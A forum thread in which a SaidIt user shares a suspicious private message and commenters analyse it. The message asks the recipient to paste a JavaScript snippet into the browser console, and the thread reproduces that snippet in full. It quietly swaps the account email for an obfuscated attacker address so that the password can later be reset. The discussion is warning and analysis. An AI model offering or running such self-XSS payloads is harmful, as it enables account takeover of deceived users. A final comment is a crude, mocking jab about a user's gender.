/u/magnora7 - Is this for real? If this is some kind of attack it's next level. I got this private message today, copypasted in the entirety, and I've tried to replicate the formatting and copied the links (I also have a screenshot I'll add).

Why is it so anonymous? Why isn't it from /u/magnora7? When did /u/magnora7 suddenly decide to adopt a "SaidIt Team"? Sure he now has a few helpers but a "team"? That's a term I've been throwing around.

What does this do? (broken into 4 smaller chunks rather than one long line):

Paste this: d=document;d.getElementsByName('email')[0]
.value='wxoxrixdi5x08x4x@0xppxpp.xcxoxm'.replaceAll
('x', '');d.getElementsByTagName('form')[1]
.submit();location.href="https://www.saidit.net/";
Hit enter. You've just kicked the hacker out of your account!

    No, it just changes your email address, which allows the hacker to change your password. I don't think it actually works, though, after analyzing the code, because the attacker assumed the form uses POST, which it doesn't.

    Regardless, I would never run that code if I was you, and if you did: make sure your email ain't been changed.

    It might be POST compatible. Once upon a time young lady, there was no javascript.

    I tried it by substituting their email for one of my own, and it didn't work.

    It's a dude bro. A dude who roleplays having a female penis.
